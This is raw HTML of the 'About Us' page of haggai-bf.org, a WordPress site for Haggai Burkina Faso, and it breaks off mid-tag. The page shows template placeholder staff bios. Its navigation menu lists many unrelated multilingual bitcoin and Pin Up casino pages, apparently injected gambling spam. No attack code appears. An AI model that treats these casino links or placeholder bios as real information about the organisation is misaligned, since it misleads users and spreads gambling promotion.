#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/8" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/about-us/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=8' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template page-template-no-title page page-id-8 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-8" class="post-8 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">About Us</h1>
				
				
					<div class="entry-content">
					<div class="wp-block-group nfd-container nfd-p-lg nfd-theme-white nfd-bg-surface nfd-wb-team__team-5 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="nfd-gap-y-2xl wp-block-columns are-vertically-aligned-top is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1621972659738-598cd8f7c37c?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Quincy Scott</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Founder &#038; CEO</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">Our dedicated team works together to deliver exceptional results while maintaining a high level of professionalism and integrity.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1573878742615-3ce8fac77273?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Nicole Moore</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Venue Manager</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">Our team of experts ensures your event is planned and executed flawlessly, leaving you free to enjoy the experience without any worries.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1577880216142-8549e9488dad?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Julian Fischer</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Vendor Management</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">We are committed to providing exclusive vendor partnerships, making your vision for your event come to life in the most extraordinary way.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1649399041424-0d758fba690b?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Rania Ahmad</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Vendor Management</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">We are committed to providing exclusive vendor partnerships, making your vision for your event come to life in the most extraordinary way.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md 